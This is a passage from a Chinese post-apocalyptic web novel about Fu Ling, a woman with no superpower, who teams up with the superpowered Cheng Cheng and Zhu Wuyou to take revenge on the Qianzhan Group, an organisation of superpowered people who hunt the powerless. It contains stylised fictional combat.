《普通人,但封神[末世]》
1. 无异能者的噩梦集团01
粘腻的雨水终于停了下来,滴滴答答的余水自屋顶上方滑落,溅起一片涟漪。
天空还是灰蒙蒙的,街道上空无一人,像是暴风雨前的安静。
不知何处传来了刺耳的广播声。
“……纪3045……已经过去了八年……感染者逐步增多……意安全……”
“砰”。
滋滋啦啦的广播声戛然而止,碎边散落在地上。
伏苓从拐角处走了出来,将能量枪挂在指尖上转了一圈,她轻轻吹出一口气,吹散了枪口上缓缓冒出的轻烟。
“今年是天纪3045年,距离雨灾已经过去了八年。在这八年里,感染者逐步增多,请广大异能者、无能力者注意安全,居家隔离,避免外出,等待支援。”
这是广播里本该播出的内容。
但这句支援,临安城的百姓已经等了八年。
天纪3037年,下了整整三个月的雨,洪涝灾害频发。与此同时,被雨水接触到的人突然失去理智,猛地扑咬周围人,被咬到的人也很快失去理智,加入了撕咬的队伍。
霎时间,全国上下死伤无数。警报彻夜鸣着,广播整日整日地播报,警告全国人民居家隔离,不要外出。
但为了活下去,很多人选择出门觅食,可在雨水和感染者的双重攻击下,安全回去的人寥寥无几。
这样的开头,本该是死局。
但很快,全国出现了第一个异能者,然后陆陆续续地,很多人都获得了或强或弱的异能。
在这样的乱世,即使是一个比较弱的异能也能让人勉强活下去,而无能力者则是被早早判了死刑。
伏苓,就是他们口中,最弱的无能力者。
她耸耸肩,对此毫无波动。
异能于她而言,跟自己手里的武器是一样的存在,都只是一个工具,可这些人却觉得自己觉醒了异能就高人一等,实在可笑。
既然他们这么看不起无能力者,那就让他们看看,一个无能力者能把他们逼到什么程度吧。
枪声震耳欲聋,周围顿时响起骇人的嘶吼声,向着伏苓所在的方向靠近。
微风勾起少女粉绿色挑染的发尾,她露出一个兴奋的笑容。
感染者要来了!
下一瞬,无数四肢并用的人张开嘴从四面八方扑向伏苓,被雨水泡肿的身体如同一座座高峰挡住了奄奄一息的阳光。
诡异的红痕像一条条符咒印在他们的脸上,显得异常骇人。
处于风暴中心的伏苓却不慌不忙,从腕间的机械装置中抽出了一把血红色的软剑。剑身柔软锋利,闪着令人胆寒的碎光。
她脚下用力,腰肢一转,轻巧地腾空跃起,软剑如同鬼魅一般缠住了所有人的脖子。
猛地使力。
骨头断裂的声音从四面八方传来,伴随着□□撞击在地面上的闷响。
一击必杀。
伏苓落回地上,甩下软剑上的血迹,看向了最后一只漏网之鱼。
这个感染者还是一个没到伏苓肩膀的小姑娘,穿着已经看不出颜色的小裙子,目光呆滞地盯着她。
伏苓心中涌上一阵烦躁,避开了小姑娘的目光。
该死的雨灾。
那小姑娘仿佛没看见伏苓极强的战斗力,嘶吼着四脚齐用朝她扑来。
伏苓侧身避开,眸中情绪翻涌,但最终还是举起了能量枪,对准了小女孩的眉心:“抱歉。”
指尖扣动扳机。
砰。
能量波穿透头骨,撞击上后面的残墙,本就摇摇欲坠的墙壁顿时炸成一片,零零散散地落在地面。
周围再次陷入的寂静。
伏苓顿了顿,抬脚朝着前方走去。
她今天,是去复仇的。
临安城在最初的惊慌后,迅速成立了一个民间组织——前瞻集团,将范围内的异能者统统纳入麾下。
这本该是个好事,异能者集结起来清剿感染者,对普通人也算是多了一点活下来的机会。
但众人都没想到的是,那些异能者集结起来不过数月,初心就已经变了。
对于能力强大的异能者来说,他们不想将口粮分给一群没有作战能力的人,也不愿意牺牲自己保护他们,所以他们选择了一个极端的方式。
——在抵抗感染者的同时,捕杀他们遇到的所有无能力者。
伏苓身边很多无能力者,都葬身于这些人的异能下。
她对他们恨之入骨。
但可惜,那些人的实力确实很强,单靠伏苓一个人,肯定无法与之抗衡。
她的复仇计划持续了很长一段日子,陆陆续续地处理掉了前瞻集团高层的一些强者。此时,集团的五个创始人中,只剩下一个最弱的王瞻,和另一个伏苓暂时没摸清的异能者。
但没关系。
她的情绪又上扬起来,脚步逐渐变得轻快。
剩下那些人,她一个人,就足够处理了。
今天,就是前瞻集团的死期。
-
此时,前瞻集团内正举行着一场盛世集会。
与外界惨淡的情况不同,集团内部满目奢华。
28层的巨大办公室里,一个男人坐在办公椅上,这位便是前瞻集团的创始人之一——王瞻。
一旁站着的男人手上捧着显示屏,将监控上的女子展示给王瞻看:“有一个女人进了集团范围,是个无能力者,我们是不是需要派人去处理一下?”
王瞻慢悠悠地喝了口茶,目不斜视:“一个无能力者而已,不必管她。”
-
前瞻集团大门外苍凉一片,附近的房屋从曾经的辉煌高大变成如今的断墙残垣,七横八竖地散落在硝烟中。
眼前的荒凉与巍峨耸立的前瞻集团形成鲜明的对比。
伏苓脚步一顿,瞳孔微微收缩。
集团大厅内满是血迹和尸体,感染者、异能者的尸体交替着。黑色的乌鸦嘶鸣着飞过来,停在尸体身侧。鲜血在光洁的地板上肆意蔓延,勾勒出如同地狱的画卷。
临安城内最后的威严象征,在此时成为了死亡的深渊。
伏苓上前两步,俯身看着靠近自己的尸体。
不是感染者?
她微微歪了歪头。
活人被感染者杀死都会被传染变成感染者,她原以为是集团被感染者入侵,如今看来,有不少人趁乱对同伴痛下杀手了啊。她还真是没看错这些道貌岸然
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的人。
她嘲讽地勾起唇角,正准备靠近,抬眼却对上了一双漂亮的黑眸。
站在门口的男人身形颀长,穿着黑色的冲锋衣,宽松的裤腿被紧紧缠住,塞进脚下的黑靴中。他头发尾部微微卷起,双眸漆黑,却异常明亮。
伏苓的目光缓缓移到了他胸前独属于前瞻集团的徽章上,眼中杀意闪现。
前瞻集团的人?可真是让我好找。
她还没来得及说话,对面的男人漠然抬起手臂,红色的雾气从他四周蔓延出来,顺着手臂凝聚成形。他似乎是意识到伏苓只是一个无能力者,攻击软绵而随意,仿佛只需要轻轻一击,伏苓就会死在他的异能下。
他说:“这里不是你该来的地方。”
铺天盖地的红雾如雪崩般涌上天际,几乎快要将伏苓掩埋。
伏苓歪歪头,眉梢高高挑起,她如同咏诗一般颂道:“前瞻集团的强大异能者啊,今天,就是你的死期。”
说完,她也不等程承回答,笑容狂妄,软剑以雷霆之势攻上程承命门。
程承的神经瞬间紧绷起来。他反应迅速,就地一滚避开了攻击。
在这样的环境里,对面的少女穿着如此醒目的衣装,要么是傻子,要么是极其自信的人。
以程承的第一印象来看,面前的少女多半是后者。
但是这女孩似乎只是个无能力者,想必也没有自己预料的那般强大。
恐怕是误闯进来了,驱赶走就好。
他正欲动作,却没想到那把软剑的进攻路线诡谲多变,即便他以最快的反应速度避开最开始的攻击,下一秒却依旧被一剑撞上胸口。
这招若是躲不开,他恐怕就得栽在这里了!
程承瞳孔骤缩,红雾聚集在他心口,勉强挡下了这道几乎致命的攻击。
他被巨大的力道逼得后退几步,再抬头时,看向伏苓的目光已经带上了深深的忌惮。
这人到底是什么来头?!
红雾横在两人中间,勉强隔绝了对面疯狂的攻击。
一个无能力者,单靠自身实力,居然能做到这个地步吗?
他咬咬牙,指尖发力,将红雾尽数袭向那位少女。
漫天红雾中,伏苓笑意更甚,她轻巧地避开所有攻击,笑声越过红雾传到程承耳中。
程承的瞳孔微颤。
这不可能!
怎么会有普通人轻轻松松避开自己的红雾?
雾这种东西,看上去虚无缥缈,但发动攻击的时候,才会发现雾气无处不在,根本不可能完全避开。
程承的目光落在了她手上那把蛟龙一般飞舞的软剑,顿时明白了。
原来是这样!
她用软剑引风吹开了几乎无处不在的红雾,加上自己灵活的身手,避开了程承几乎无解的攻击。
高手过招只需要几秒,下一瞬间,冰冷的枪口就已经抵上了程承的太阳穴,心脏像是被一只手攥住,猛地收紧。
他冷汗直流,根本不知道这人是什么时候出现在自己身边的。
伏苓比他稍矮一些,她踮起脚尖,声音甜腻:“小卷毛,来世再见咯。”
说完,她还模仿枪声,先行说了一句“砰”。
2. 无异能者的噩梦集团02
看着面前之人姣好的面容上露出堪称兴奋的表情,程承立马意识到这人是真的想杀他。
可是他们无冤无仇,这位与自己根本没见过面的少女为什么会在第一面就对自己痛下杀手?
他的汗水从额间落下,滴在银色的能量枪上,余光却无意间扫到了自己胸前的徽章。
他突然想到了什么,连忙喊道:“我也是来找前瞻集团报仇的。”
“哦?”伏苓动作一顿,目光带上了些许审视,她的枪口顺着程承的脸颊滑落到他的下巴,轻佻地勾起:“你最好没有在骗我。”
赌对了。
程承闭了闭眼,遏制住心脏的疯狂跳动和身体各处细胞发出的颤抖,尽量冷静道:“你看集团内的感染者,都是我引进去的。”
伏苓歪头看向一片狼藉的集团内部,漂亮的眸子微微睁大,她咧着嘴笑了:“哇,原来是你干的啊。”
她退后了两步,声音带着兴奋和魅惑:“好吧好吧,那你告诉我,你为什么要杀集团的人呀?”
程承与她目光对视,声音清冷:“他们杀了我的家人。”
他将伏苓一直看着的徽章扯下来扔在满是雨水的地上:“他们将我困在这里八年,今天是我预谋已久的报复。”
是吗。
伏苓看着他的双目,似乎是在确定这个人说话的真实性。
程承冷静地与她对视。两人靠得很近,数秒的对视中,伏苓甚至看清了程承根根分明的睫毛。
她眯了眯眼。
如果这人所说是真的,那他们的目的,似乎是一致的。
伏苓无法分辨真假,但却直到,不能让这人脱离自己的视线。
她低头闷笑:“好啦,别这么严肃,我当然相信你啦。”
伏苓蹦蹦跳跳地向集团内部走去,走到一半又歪过头来看他:“一起啊,亲爱的。”
亲、亲爱的?
活了小半辈子没听过这三个字的程承沉默了两秒,绷着嘴角乖乖跟着她又进了集团。
-
一楼大厅里满是感染者和异能者的尸体,整个地面都沾着血迹,根本没有地方下脚,整个大厅如同凶案现场。
程承小心瞥了一眼伏苓,却见她看到这样的场景不仅不害怕,甚至笑意更深。
伏苓像是欣赏一幅画一样来回扫视,嘴里连连赞叹:“哇哦,你做得也太棒了吧。”
她笑嘻嘻地转头:“真想好好地奖励你。”
程承木着一张脸,还没回答,两人右边就传来了一声细微的呻吟。
伏苓立马颇有兴趣地将视线转了过去。
角落躺着一位奄奄一息的异能者,他满身鲜血,明显是强弩之末,但看到两人进入却还是强撑着用尽仅剩的力气呼救:“救……咳……”
伏苓看到那人的脸微微一愣。
熟人啊。
躺着的那人在过去的八年里是前瞻集团很忠诚的一条狗,自然也一脉相承地跟前瞻集团有着一样的形式作风,根本不把实力较弱的无能力者当成人对待,烧杀抢掠无恶不作。是伏苓猎杀名单里的除了集团创始人之外的榜首。
不过这人跟老鼠一样四处钻,还在前两天偷偷在伏苓歇脚的地方放火试图烧死她。
伏苓像是找到了寻觅已久的猎物,笑弯了眼,绕过路上的尸体,施施然走到那人面前。
血液从那异能者的额头流下染湿了他的眼睫,他垂着眸子,看到了一双干净整洁的黑靴停在自己面前,有些惊喜地抬头:“求您、求您救……”
他看清了伏苓的脸,目光霎时间从欣喜转为恐惧。瞳孔猛地一缩。他不受控地尖叫一声,艰难地向后退去:“伏苓?!你、你居然还没死?”
“是呀,你也没想到,那般冲天大火也没能杀死我吧?”伏苓笑得甜腻,她掏出那把泛着冷光的能量枪,对准了那人的脑袋:“而且,今天我还得要了你的命哦。”
那人不断挣扎,求助般地看向伏苓身后的程承。
看我干嘛……
程承默默移开视线,避免了对视。
这人顿时绝望,哆哆嗦嗦地跟伏苓打商量:“你不能杀我,我不过是杀了几个没有任何用处的无能力者,对临安的安全根本没有任何影响,但你如果杀了我,守护临安的力量就会少一分!”
“天呐,你居然这么厉害。”伏苓嘴角划过一丝嘲讽,她惊讶地捂住嘴,思考:“那为什么,这么厉害的你,现在会奄奄一息地躺在这里?是因为太强了吗?”
异能者脸色苍白,却被这句阴阳怪气气得直喘粗气。
伏苓玩够了。
她站起身,缓缓举起能量枪,冷着脸睥睨着他:“看上去你还有一口气,那我就不得不补个刀咯。”
说完,她不给这人说话的机会,干脆利落地一枪射出。
失去呼吸的身体缓缓倒在血泊中。
她心情愉悦地将枪收起来,转过身看向程承,笑意满满:“走吧走吧,别在这里浪费时间了——”
她似有所感,忽地停下了言语,目光看向集团外部。
似乎有一道人影飞速窜过,伏苓甚至没来得及看清。
她嘴角弧度放大,抬脚朝着门外走去:“逃了只小老鼠——”
扑通。
身体落地的声音。
伏苓眉梢高高挑起。
又来一个?
她转身看去,只见一道身影连滚带爬地向内部跑去,一边跑还一边乱扔着纸牌。落下时,那人原本站着的地方顿时多了一层透明的东西。
伏苓不太清楚那是什么,但却知道这是异能。
这是什么异能?似乎是跟这人扔的纸牌有关。
伏苓眼里浮现了些许兴趣,她看了一眼程承:“你……啊,你叫什么名字来着?”
程承抿了抿唇,刚刚那个逃离的人影明显是之前他放过的那人。
——早在一个小时之前。
集团一楼的宴会厅。
高高的天花板上悬挂着水晶吊灯,巨大的挂毯装饰着墙壁,满目奢华。宴会厅内的音乐婉转动听,舞池上的舞者在舞曲的节奏中翩翩起舞。
参加宴会者个个衣裳整洁,好不威风。
程承低着眸站在角落,显得格外孤僻。
忽地,他的面前停下了一个人。
程承抬起头。
眼前之人看上去还是少年人,她笑眯眯地凑近,将一杯干净的酒递给他:“来玩个游戏吗?”
程承扫了她一眼,露出了细碎额发下那双漂亮的眼睛。他微微直起身,目光玩味:“好啊。”
祝无忧将手中的牌在桌上摊开:“抽一张吧。”
摊在桌面上的卡牌质感很好,通体漆黑,背面上点缀着大大小小的金色星星。
程承指尖划过卡牌,随手挑了一张递给她。
祝无忧笑容更深,接过卡牌,看向卡牌上的内容:“你抽中了……”
看到卡面上的文字,她一顿,脸色微僵。
——上面写着“命运共鸣*1”。
祝无忧咬了咬牙。
察觉到面前这人情绪的急剧转变,程承挑眉:“怎么了?”
祝无忧闭着眼睛深呼吸两下,抬头保持微笑,掏出一瓶颜色奇异的药水递给他:“你的奖励。”
程承更意外了:“白送?”
祝无忧的表情从漫不经心,到礼貌微笑,再到咬牙切齿仅仅花了两秒:“对,就是白送!”
她破罐子破摔地说:“这瓶药水喝下后会将自己的幸运值逐渐转移给最亲近的人,只不过你会怎么样就不一定了。”
说完,她又有点幸灾乐祸:“看你怎么用吧。”
程承将药水举到眼前,天花板上耀眼的光透过药水,在他脸上洒下一片彩色。他细细观察了片刻,才道:“我凭什么相信你?”
突然凑过来白送给自己一个这么强劲的药水,怎么想都不对劲。
祝无忧默默吐出后槽牙,恨恨地开始收手牌:“命运的指引,我还不愿意给你呢。”
程承挑了挑眉,意识到这人不似作假,便将药水收了起来。
正当祝无忧准备离开的时候,她突然瞥到程承手臂上突出了一个巨大的鼓包。
那鼓包似是活的一般在四处乱窜,将程承手臂上的皮肤高高隆
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起。
像是有什么巨型寄生虫躲在人体皮肤底下随意游走冲撞。
祝无忧吓得尖叫一声,指着那鼓包喊道:“卧槽,这是什么?”
一时间,宴客厅内或关心或烦躁的目光都看向这边。
祝无忧声音惊恐,指着他手臂的指尖微微颤抖。她试图找出一个合理的解释:“你……是生病了吗?”
她急忙看向人群:“有医生吗?”
临安的感染者还有不少,少一个异能者,其他人的危险就会多出一分。
很快站出来了一个异能是疗愈的人,他快步走上来,抓住程承的手臂查看情况。
程承顺从地捋起袖子任他查看。
那鼓包飞速移动,医生尝试了半天也没能碰到它。但他很有责任心,虽然看不出病因,也还是皱着眉头念念有词:“不知道是什么,但我可以将它困在一处,然后切掉。”
他手中泛出点点星光,从四周堵住跳动挣扎的鼓包。
控制好后,他抽出一把奇异的刀,刀尖停在距离鼓包底部的一寸之处。
“不用白费力气了。”程承突然出声。
医生手一抖,刀口险些划上皮肤。祝无忧也同样惊诧地看着他,不知这人是什么意思。
程承勾唇,眸色晦暗不明:“因为这是我的异能。”
话音未落,突然一声巨响,宴会厅的门就被轰然推倒在地。
众人下意识转头看去,只见一群面目狰狞的感染者如潮水般涌入,嘶吼着向在场众人冲过来。
原本井然有序的场面瞬间陷入混乱,在场众人下意识用异能反抗,四处逃窜。酒杯和餐盘被碰倒,洒了一地粘腻。
尖叫、求助、拨号的声音不绝于耳。
程承和那位医生似乎是都被吓到了,傻愣愣地看向门口混乱的人群没有任何动作。
“愣着干什么?这么多感染者哪里打得过来?”祝无忧一手拽住一个人,拉起来就往后面跑,在这期间,还能顺手抽出战备机找人支援:“喂喂喂!集团被感染者进攻了哇啊啊啊!”
程承任由她拉着自己进了走廊,唇角的弧度上扬了几分,混乱中,他的声音格外阴森:“可是,这些感染者都是我放进来的啊。”
一瞬间,只有他们三人的走廊里安静得落针可闻,感染者疯狂的嘶吼声隔着墙壁传来。
祝无忧僵着身子,一点一点地转向他,目光惊恐:“你、你为什么……”
程承笑得开心,嘴角的梨涡一隐一现,说出来的话却像一把锋利的刀刃:“当然是想你们集团的所有人都死啊。”
听到这话,那医生腿一软跌坐在地,连滚带爬地往前面逃去,嘴里喃喃着:“疯子,疯子……”
程承手臂上的鼓包突然消失,暗红的光芒包裹着他的身体,宛若一个红色的怪物附身于他身上。他的眼眸变得通红,声音嘶哑癫狂:“你们都该死!”
祝无忧瞳孔睁大,不受控地向后退了两步。
那嘶哑疯狂的声音,就像是一只……一只没有理智的、会说话的兔子。
程承看到她瞳孔中的自己倒影,弯唇笑了一下,露出了他嘴角的梨涡。
祝无忧抖得更厉害了。
出乎意料的是,程承并没有对她下手,反而退后了一步,目光若有所思地落在她身上:“不过,饶你一命。”
说完,他也不管祝无忧的反应,直接转身离开。
没想到他居然会在临门一脚时放过她,祝无忧仿若从鬼门关里转了一圈。她吞了吞口水,飞快压下心脏的狂跳,朝着相反的方向逃去。
……
程承回过神,看伏苓的样子,多半是要去追杀祝无忧。
他在心中叹了口气,还是回答道:“程承。”
“对,程承。”伏苓指尖轻飘飘地指向逃走的那个人,笑嘻嘻道:“抓住她。”
虽然有过一面之缘,但程承没什么怜香惜玉的意思,仅仅是为她默哀两秒,便抬起手臂,数不清的红雾乍然撞向那层透明屏障。
用来堵路的屏障顿时碎裂开来,消散在半空中。
他长腿一迈,追着那人的身影离开。
3. 无异能者的噩梦集团03
祝无忧没想到,自己好不容易逃过了无处不在的感染者,历尽千辛万苦就快要离开这座集团大楼时,居然又看到了那个可怕的男人。
——那个一切的始作俑者。
她虽然算不上聪明,也知道那人先前放过自己是因为自己先对他释放了善意,而再次遇见,她根本不知道这人到底会不会再一次放过她。
祝无忧止不住地发颤,她不敢冒险,只能拼尽全力离得远远的。
集团占地面积很大,每一处岔口都弯弯绕绕,祝无忧没怎么在这里逗留过,根本不清楚一楼的布局。
她慌不择路,转弯直接跟了一个感染者来了个贴脸杀。
看到活人,感染者顿时兴奋了起来,吼叫着猛地朝着她扑过来。
祝无忧尖叫一声,一股脑扔了十几张牌过去:“卧槽卧槽!”
星牌生效的声音劈里啪啦地响起。
那感染者一会速度变慢,一会呆滞片刻,一会左脚绊右脚摔了个狗啃屎,甚至还突然朝着反方向跑去,就是没碰到祝无忧一分一毫。
祝无忧松了口气,想换一条路离开,却没想到直接撞上了程承。
她“卧槽”一声,转身就跑。
红雾倾泄,只一瞬就困住了她的脚步。
祝无忧跌倒在地,周围笼罩着她的红雾看似平静,却有着厚重的压迫感。
她将自己缩成一团,哀怨地看着程承:“臭男人,臭男人!!亏我之前还关心你!”
她这两句声音小,程承没听清,他没想伤害她,用红雾困住她之后便也没再动作。
伏苓抱着臂靠在墙上。
这个叫程承的,做事沉稳利落,如果他先前所说为真,能蛰伏在集团内部这么长时间还不被发现,这人的心思恐怕也极度深沉。
而且……
她勾了勾唇角。
这人的异能,似乎有些特殊。
伏苓直起身,缓缓走了过去。
至于这个小姑娘。
异能有点意思,看上去还是个少年人,眸子澄澈,多半没做过什么伤天害理的事情。
她虽不是圣母,却也不会伤害无辜之人,最好这个小姑娘能跟程承一起乖乖跟着自己,不要妨碍她接下来的行动,倒是也能算个助力。
她还未开口,却没想瘫在地上的祝无忧看到她突然眼前一亮,她跳了起来,涕泪横流声嘶力竭地扑向她:“姐姐救命啊!”
伏苓愣了一瞬,看向她的目光更加玩味。
小姑娘还没看清楚形势,真是傻得可爱。
眼见祝无忧就快要扑到伏苓身上,程承幽幽插嘴:“她跟我一伙的。”
祝无忧顿在原地,想要抱住伏苓大腿的手要伸不伸,僵硬地举在半空。空气凝固了两秒,只听见“啪”得一声,她的两只手一下子拍上了自己的脸。
祝无忧呜呜两声。
她没想到自己今天运气这么背,连着两次都信错了人。都怪预言牌骗人,还说什么今天是大吉,她看分明是要大寄。
迷信这种东西果然还是靠不住……欸等等,异能应该算是科学吧?
但眼下这已经不是最重要的了,祝无忧脑内疯狂运转,思考着怎么从这两人手里活下去。
打肯定是打不过的,她一个辅助系的异能者,哪能跟这两个杀人不眨眼的大佬正面对上?所以只能牺牲尊严了!
伏苓看跪倒在自己面前的小姑娘捂着脸半天没说话,便准备开口:“你……”
“我可以加入你们!”祝无忧突然抬头,眼里满是破釜沉舟的坚定和悲泣:“我也要跟你们一伙。”
程承:“……?”
他一脸复杂地看着跪在地上举手发誓的女孩。
我是被武力镇压的,你怎么还主动起来了?稍微反抗一下啊!
但伏苓显然心情不错,闻言勾着唇角:“哦?那你说说,你有什么用啊?”
这人异能特殊,虽然伏苓大概知晓了异能的呈现情况,但还是有些好奇。
祝无忧吞了吞口水。
她的异能没什么攻击性,都是一些乱七八糟的辅助功能,甚至被很多人认为是最低等的异能。
但是,就算她再害怕眼前的少女嫌弃自己,眼下也没其他办法了。她破罐子破摔:“我的异能是星牌,随便抽卡的那种。具体能干什么……”
祝无忧不太好形容自己的异能,它太抽象了。
正当她思索着到底该如何解释自己异能的时候,伏苓动了。
她让开了一点,露出了背后龇牙咧嘴站起来的感染者。她依旧是那副笑嘻嘻的样子,如同开玩笑一般道:“那你展示一下吧,杀了他。”
感染者露出獠牙,红痕似血,隐隐泛着光。
不知道是不是被伏苓吓到了,这感染者居然没有攻击距离他最近的伏苓,而是乖乖顺着伏苓的意思扑向祝无忧。
祝无忧吓得后退两步,小腿直打颤。
她真的杀不了感染者啊!
祝无忧可怜兮兮地看向伏苓,试图让她心软,却没想这女人的心比刚刚摔上的地板还硬,收到她的求救信号还笑眯眯地歪了歪头鼓励她继续。
祝无忧悲痛转头,看向已经扑上来的感染者,视死如归地抽出了一张攻击牌,看也不看地扔向了感染者。
下一秒,硬币掉落在地的声音哗啦啦地响起来。
叮叮当当,格外清脆。
伏苓挑眉,有些意外地看着从天而降的硬币山,和那个被砸得起不来的感染者。
她俯身,捡起来那张掉落在地的纸牌。
上面清清楚楚写着:
增益*撒钱。
非常之简单粗暴。
伏苓嘴角的笑意遮都遮不住。
这异能可太有意思了!
她反手扔掉那张失效的卡牌,向祝无忧伸出手:“好,现在你就是我的人了。”
祝无忧一脸惊喜,她傻笑着将手放在伏苓手心,借着她的力道爬了起来。
既然自己都倒戈进人家队伍里了,祝无忧立马将胸前的前瞻徽章拽下来扔掉,然后讪讪解释:“额,我这个异能是随机的,不知道下一张是什么牌。”
伏苓已经抬脚向一旁的电梯走去,程承立马明白了她的意思,抬手摁下电梯。伏苓摸摸下巴:“随机?”
趁着电梯缓慢下行,祝无忧殷勤地跟伏苓解释了自己的异能。
星牌分为六套牌组,分别为:增益,负面,预知,洞悉,全场,以及未知。
她一脸骄傲:“我给他们起名为,真心话大冒险!”
程承嘴角抽了抽。
伏苓捧场地鼓掌:“好名字啊。”
闻言,祝无忧更激动了。
这还是第一次有人认可她的取名能力。
她晃晃脑袋,解释自己取名的初衷:“你看,增益和负面是大冒险,预知和洞悉是真心话,这不就是真心话大冒险吗?”
伏苓点点头,一脸赞同:“好有道理啊。”
见这两人皆是满脸沉醉,程承忍了忍,还是发问道:“别的我能理解,全场和洞悉是什么意思?”
祝无忧看了他一眼,语气平平:“全场就是不分敌我,所有人都被动承受牌面效果,洞悉是指定一人察看其当前心理活动。”
她这两句说得飞快,也没什么情绪,与方才跟伏苓交谈的激动神色形成鲜明对比。
双标怪啊。
但程承却没在意这些。因为他意识到这人的异能绝对是顶尖的。
先不说增益牌和负面牌,单单那套拥有预言能力的牌组就已经能做到很多事情了。可能是为了限制她的实力,所以才刻意将抽取顺序设定成了随机。
但即便如此,也无法掩盖这套牌组的强大。
只不过她的异能基本都是辅助,所以杀伤力不大,又没有遇到过好的进攻手,这些年前瞻集团出具的顶级异能者名单里才没有她。
伏苓转动眼珠,她指着程承,眼中划过一丝狡黠:“那你看看他现在在想什么。”
祝无忧与她一拍即合,手速飞快,程承还没来得及收回思绪,那张星牌上已经显露出了字迹。
伏苓好奇地凑上去,看到上面明明白白写着:这异能厉害。
“哇哦!”祝无忧怪叫一声,一脸惊喜地抬头,“原来我在你心中这么厉害?”
程承闭了闭眼。
被人洞悉内心的感觉算不上是什么好的体验,他只祈求下次别对着自己用了。
正巧电梯“叮”了一声。
三人顿时看向缓缓打开的电梯,祝无忧跳着躲在了伏苓身后,一脸警惕地小声说:“不会有感染者吧?”
话音刚落,一只青黑的手猛地从打开的电梯缝里伸
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出来,因为速度过快,小拇指撞上电梯门,直直被扳到手背上。腐烂的气息顺着风吹到祝无忧脸上。
祝无忧顿时龇牙咧嘴,自己的小拇指仿佛也开始隐隐作痛。
电梯门还未完全打开,里面感染者紧紧贴着缝隙,争先恐后地挤出来,张着血盆大口朝他们扑来。
距离很近,近到祝无忧甚至已经看到了它猩红的口腔中残存的血迹。
伏苓推开祝无忧,身形轻轻侧开,躲过了感染者的扑咬,软剑如闪电划破虚空,准确地隔断他们的脖颈,血液喷溅而出。
她甩干净剑上血迹,目光轻飘飘地落在程承身上:“看清楚了?”
程承有些尴尬地摸摸鼻尖。
他虽然与她交过手,但伏苓速度太快,以至于他根本没有看清伏苓进攻的具体动作。
从电梯打开到伏苓干脆利落地解决这群感染者有足足数秒,这个时间早就够程承发动红雾了。但他没有,而是站在一旁紧密观察着伏苓的动作。
只是没想到,这么点小心思居然被伏苓当场识破。
祝无忧还在局外,她嘴巴张得圆圆的,目瞪口呆地看着伏苓:“这么牛逼吗?”
她突然觉得自己抱的大腿真的好粗。
伏苓没管他们俩,直接抬脚进了电梯。
她歪歪脑袋思考了几瞬,看向程承:“王瞻在几层?”
王瞻是前瞻集团的创始人,也是集结异能者运动的发起者之一。
正是在此人的带领下,无数异能者被迫与家人朋友分离,无能力者惨遭压迫,甚至会以无能力者无法保护家园为由遭受前瞻集团的残杀。
听到这个名字,程承眼中短暂闪过恨意。但他很快掩盖住,跟着伏苓进入电梯,他声音听不出什么情绪:“28层。”
等祝无忧进来,伏苓伸手将“28”点亮。
电梯上行。
轿厢内一时之间安静了下来,祝无忧满满挪到伏苓身边,紧紧抱住她,仰着头,眼睛亮晶晶的:“姐姐你太强了!那么多感染者你刷刷刷就把他们都干掉了诶!要是我来还不知道要周旋多长时间,不过也是我本来就菜啦哈哈哈”
她满脸兴奋,又突然冷静了一瞬:“对了,我还不知道你的名字。”
伏苓漫不经心:“伏苓。”
程承扫了她一眼,少女醒目而张扬的挑染发尾甩至胸前,夺目的色彩顺着她的动作晃晃悠悠,看久了像是置身船上,晕晕乎乎。
他不自觉失神一瞬。
原来她叫伏苓。
他暗暗记下。又不自主去想,哪个伏?哪个苓?
祝无忧又抱紧她:“伏苓姐,你实在是太牛逼了。”
若是一个异能者强一些倒也不至于让她佩服得五体投地,但伏苓是无能力者啊!也就是说,她是单凭自己的身体素质强过了大多数异能者。
她激动了片刻,又好奇道:“欸?还有姓伏的吗?”
伏苓漫不经心:“有啊,我曾曾祖父是伏完,曾曾曾曾祖父是伏羲。”
见祝无忧眼前一亮又一亮,伏苓笑了:“骗你的,小傻子。”
祝无忧也不恼,黏上来说:“我叫祝无忧。”
说完,她又看向程承,后者明白她的意思,报了自己的名字。
电梯速度很快,28层很快到了。
原本整洁有序的办公楼被破坏得面目全非,一道道触目惊心的血迹在墙壁上纵横交错,有些地方的血迹还在缓缓向下流淌,汇聚成暗红色的小洼。桌椅东倒西歪,散落在地上,四周弥漫着刺鼻的血腥和腐烂的气息。
虽然同样一片狼藉,但比一楼的惨状要好上不少。想来能上到这一层的感染者属实不多。不远处还能听到他们的嘶吼声,似乎是在追逐着还活着的人。
伏苓没心思去救他们,前瞻集团的人大多手染鲜血,甚至相比于感染者,这些鲜血中更多是无能力者的。
原先一片赤诚进入集团的勇士,终究还是为了权力将刀尖对准了他们本该守护的人。
伏苓的目光落在前方办公室紧紧闭着的大门上,突然看向程承:“你说感染者是你引来的,怎么引的?”
程承没想隐瞒,直接道:“我的异能。”
那堆红雾?
伏苓挑眉,指向那扇紧紧闭着的门,发布指令:“那么,让感染者去攻击这扇门。”
4. 无异能者的噩梦集团04
窗明几净的办公室内没有一个人影。
长沙发被挪到门口,死死抵住了大门。办公桌下面,王瞻早已不复先前高高在上的模样,抱着头缩在里面瑟瑟发抖。
闯入前瞻集团的感染者数量骇人,甚至大部分都冲着这一层来了。
王瞻自身异能一般,能坐到这个位置大多是因为他在灾难之初结识了几位强大的异能者。但不知为何,这几日他们都跟自己失去了联系。
他对这些人的失踪并不在意,甚至可以说,他早就期待这一天的到来,好让自己坐上前瞻集团最高的位置。
众所周知,王瞻是整个集团高层中公认的“最弱”的一个,不单单是指实力的强弱,更是指智商的高低。
很多时候,重大的决策往往不会带上王瞻的意见。
也正是因此,他才会疯魔了一般夺权,势必要让前瞻集团有他的一席之地!
所以对于高层其他几人的接连失踪,王瞻是打心底地兴奋。
在他看来,这就是上天给予他的时机!
毕竟集团内部趋于饱和,整个临安城内的异能者几乎都聚集在这里,就算真遇到什么事情了也能抵抗得住。
他前几日里还在想,究竟是哪一位英雄好汉居然帮着他解决了这么多竞争对手。
但王瞻不愧是公认的“智商最低”,高层失踪的这几日里他居然只关注着自己的权力,完全没有想到自己会不会就是下一个失踪的对象。
直到今天。
他完全没有想到,今天居然会有这么多感染者进入集团!
甚至在楼下聚集的异能者都没能将其击退,反而放任感染者上了高层,追着他撕咬。要不是他趁秘书不备推他出去挡了一下,他早就死在感染者手下了。
想到这里,王瞻的呼吸变得急促起来,双目通红。
自从异能者联合起来创建前瞻集团之后,他便再也没这么狼狈过。
细微的声音从大门传来,王瞻整个人精神紧绷,听到声音猛地一抖,头狠狠撞在办公桌上。
